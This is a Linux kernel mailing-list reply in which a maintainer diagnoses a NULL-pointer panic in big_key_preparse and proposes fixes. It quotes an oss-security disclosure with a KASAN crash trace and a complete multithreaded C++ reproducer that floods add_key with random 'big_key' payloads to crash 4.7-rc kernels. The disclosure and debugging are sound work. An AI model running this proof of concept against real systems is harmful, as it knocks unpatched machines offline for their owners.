Re: [zer0mem@xxxxxxxxx: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]

[David Howells]

Greg KH <gregkh@xxxxxxxxxxxxxxxxxxx> wrote:

> David, here's a bug report with reproducer that was sent to the
> oss-security mailing list for some unknown reason earlier today.
> 
> Any ideas?

I think may have figured it out: big_key_crypto_init() may fail even though
big_key_init() succeeds (and also vice versa).  The problem with this is that
big_key_rng and big_key_blkcipher are left set to NULL, but the big_key type
is still registered and there are no checks in the big_key crypto code for
this.

I can't say for certain that this is that actual cause as I haven't managed to
reproduce it, but the insertion of a pr_err() or a panic() in
big_key_crypto_init()'s error path should catch it if this is the case.

Possibly the crypto layer did print a message about missing crypto that can be
found amongst the kernel output.

Kirill: We should definitely print an error on failure during init.  How we
proceed after that can be argued a couple of different ways.  We could
deregister the key type, but it might be better to call big_key_crypto_init()
from big_key_init() before registering the type and make all the
initialisation to late_initcall.  This shouldn't be a problem as I don't
forsee us needing to create big_key type keys from within the kernel.

Is it also possible there's some crypto component we need beyond AES, ECB and
RNG?

David

> thanks,
> 
> greg k-h
> 
> 
> ------- Forwarded Message
> 
> Date: Fri, 22 Jul 2016 22:54:09 +0800
> From: zer0mem@xxxxxxxxx
> To: "oss-security@xxxxxxxxxxxxxxxxxx" <oss-security@xxxxxxxxxxxxxxxxxx>
> Cc: "cve-assign@xxxxxxxxx" <cve-assign@xxxxxxxxx>, Marco Grassi <marco.gra@xxxxxxxxx>
> Subject: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master
> 
> Hi,
> 
> Following code will panic 4.7-rc6/rc7 & master
> 
> However will not panic at latest stable 4.6.4 kernel apparently
> 
> 
> qemu + kasan
> 
> 
> /*
> 
> author : @zer0mem
> 
> Qilin : v3.2 [ linux ]
> Reproducer : v1.0
> 
> KASAN : active
> KTSAN : non-active
> 
> Linux Kernel version : 4.7
> 
> compile : clang++-3.8 -std=c++1y poc.cpp -lpthread -o big_key_poc
> 
> issue : add_key -> "big_key"
> 
> [94011.624218] kasan: CONFIG_KASAN_INLINE enabled
> [94011.624507] kasan: GPF could be caused by NULL-ptr deref or user memory access
> [94011.624930] general protection fault: 0000 [#1] SMP KASAN
> [94011.625234] Modules linked in:
> [94011.625421] CPU: 0 PID: 13245 Comm: a.out Tainted: G    B           4.7.0-rc6+ #9
> [94011.625837] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
> [94011.626363] task: ffff880013b1d580 ti: ffff8800693d8000 task.ti: ffff8800693d8000
> [94011.626778] RIP: 0010:[<ffffffff819e6e64>]  [<ffffffff819e6e64>] big_key_preparse+0x1a4/0x540
> [94011.627262] RSP: 0018:ffff8800693dfc90  EFLAGS: 00010206
> [94011.627559] RAX: dffffc0000000000 RBX: ffff8800693dfdc8 RCX: 0000000000000000
> [94011.627956] RDX: 0000000000000009 RSI: 0000000000000000 RDI: 0000000000000048
> [94011.628356] RBP: ffff8800693dfcc8 R08: ffffed000d27bfc2 R09: ffff8800693dfdc8
> [94011.628752] R10: ffff8800693dfe0f R11: ffffed000d27bfc2 R12: 0000000000000000
> [94011.629149] R13: 0000000000000f50 R14: ffff8800693dfe48 R15: ffff8800693dfdf0
> [94011.629547] FS:  00007faf577fe700(0000) GS:ffff88006d200000(0000) knlGS:0000000000000000
> [94011.629994] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [94011.630361] CR2: 0000000000609000 CR3: 000000006a9bd000 CR4: 00000000000006f0
> [94011.630812] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
> [94011.631223] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
> [94011.631633] Stack:
> [94011.631755]  ffff8800693dfdc8 0000000000000048 ffffffff819e6cc0 1ffff1000d27bfa5
> [94011.632349]  ffffffffffffffec ffff8800693dfe48 ffff88005098b400 ffff8800693dfe70
> [94011.633063]  ffffffff819d5a81 0000000000000004 ffff8800693dfd30 ffff8800693dfdc8
> [94011.633550] Call Trace:
> [94011.633702]  [<ffffffff819e6cc0>] ? big_key_crypt+0x2a0/0x2a0
> [94011.634034]  [<ffffffff819d5a81>] key_create_or_update+0x361/0xa00
> [94011.634389]  [<ffffffff819d5720>] ? key_type_lookup+0xe0/0xe0
> [94011.634719]  [<ffffffff815c3609>] ? ___slab_alloc+0x179/0x4c0
> [94011.635050]  [<ffffffff815c5643>] ? __kmalloc+0x103/0x250
> [94011.635360]  [<ffffffff819da6e4>] SyS_add_key+0x1f4/0x390
> [94011.635671]  [<ffffffff819da4f0>] ? key_get_type_from_user.constprop.8+0xe0/0xe0
> [94011.636106]  [<ffffffff81083d40>] ? compat_start_thread+0x90/0x90
> [94011.636457]  [<ffffffff82d36af6>] entry_SYSCALL_64_fastpath+0x1e/0xa8
> [94011.636823] Code: 5c 41 5d 41 5e 41 5f 5d c3 e8 89 f1 98 ff 4c 8b 25 32 cb 47 02 48 b8 00 00 00 00 00 fc ff df 49 8d 7c 24 48 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 78 03 00 00 4d 8b 64 24 48 48 b8 00 00 00 00 
> [94011.638412] RIP  [<ffffffff819e6e64>] big_key_preparse+0x1a4/0x540
> [94011.638775]  RSP <ffff8800693dfc90>
> [94011.639205] ---[ end trace 0255e2496c208fbf ]---
> [94011.639474] Kernel panic - not syncing: Fatal exception
> [94011.639855] Kernel Offset: disabled
> [94011.640066] ---[ end Kernel panic - not syncing: Fatal exception
> 
> */
> 
> #include <stdint.h>
> 
> #include <memory>
> #include <algorithm>
> #include <functional>
> #include <string>
> #include <atomic>
> #include <stdlib.h>
> #include <vector>
> #include <stdlib.h>
> #include <stdio.h>
> 
> #include <thread>
> 
> #include <sys/types.h>
> #include <sys/wait.h>
> #include <unistd.h>
> #include <pthread.h>
> #include <sched.h>
> #include <signal.h>
> #include <fcntl.h>
> 
> #include <keyutils.h>
> 
> int handles[0x10] = { 0 };
> char buffer[0x1000] = { 0 };
> 
> bool rand01() { return std::rand() % 2; }
> 
> void shaka()
> {
> 	for (size_t i = 0; i < sizeof(buffer); ++i)
> 		buffer[i] = std::rand() % 0xFF;
> 
> 	while (true)
> 	{
> 		for (size_t i = std::rand() % sizeof(buffer); i < sizeof(buffer); ++i)
> 			buffer[i] = std::rand() % 0xFF;
> 
> 		sleep(std::rand() % 10);
> 	}
> }
> 
> void workers(int fd)
> {
> 	size_t max_round = 40 + std::rand() % 200;
> 	for (size_t i = 0; i < max_round; i++)
> 	{
> 		switch(std::rand() % 1)
> 		{
> 			case 0 :
> 			{
> 				add_key(
> 					rand01() ? "user" : "big_key",
> 					0,
> 					buffer,
> 					std::rand() % sizeof(buffer),
> 					handles[std::rand() % 0x10]);
> 
> 			} break;
> 
> 			default:
> 				break;
> 		}		
> 	}
> }
> 
> void ctors(int ind)
> {
> 	handles[ind] = 0;
> 	while (!handles[ind])
> 	{
> 		switch(std::rand() % 1)
> 		{
> 			case 0 :
> 			{
> 				handles[ind] = add_key(
> 					rand01() ? "user" : "big_key",
> 					0,
> 					buffer,
> 					std::rand() % sizeof(buffer),
> 					handles[std::rand() % 0x10]);
> 			} break;
> 
> 			default:
> 				break;
> 		}
> 	}
> 	int fd = handles[ind];
> 	for (size_t i = 0; i < 20; ++i, sleep(1 + std::rand() % 4))
> 		for (size_t j = std::rand() % 4; j; --j)
> 			workers(fd);
> }
> 
> int main()
> {
> 	std::thread(shaka).detach();
> 	for (;; sleep(std::rand() % 4))
> 		std::thread([]()
> 			{
> 			for (size_t i = 0; i < 0x10; ++i)
> 				std::thread(ctors, i).detach();		
> 			}).detach();
> 	
> 	return 0;
> };
> 
> #include <asm/unistd.h>
> 
> #define __weak __attribute__((weak))
> 
> key_serial_t __weak add_key(const char *type,
> 			    const char *description,
> 			    const void *payload,
> 			    size_t plen,
> 			    key_serial_t ringid)
> {
> 	return syscall(__NR_add_key,
> 		       type, description, payload, plen, ringid);
> }
> 
> 
> 
> Peter
> 
> Sent from Mail for Windows 10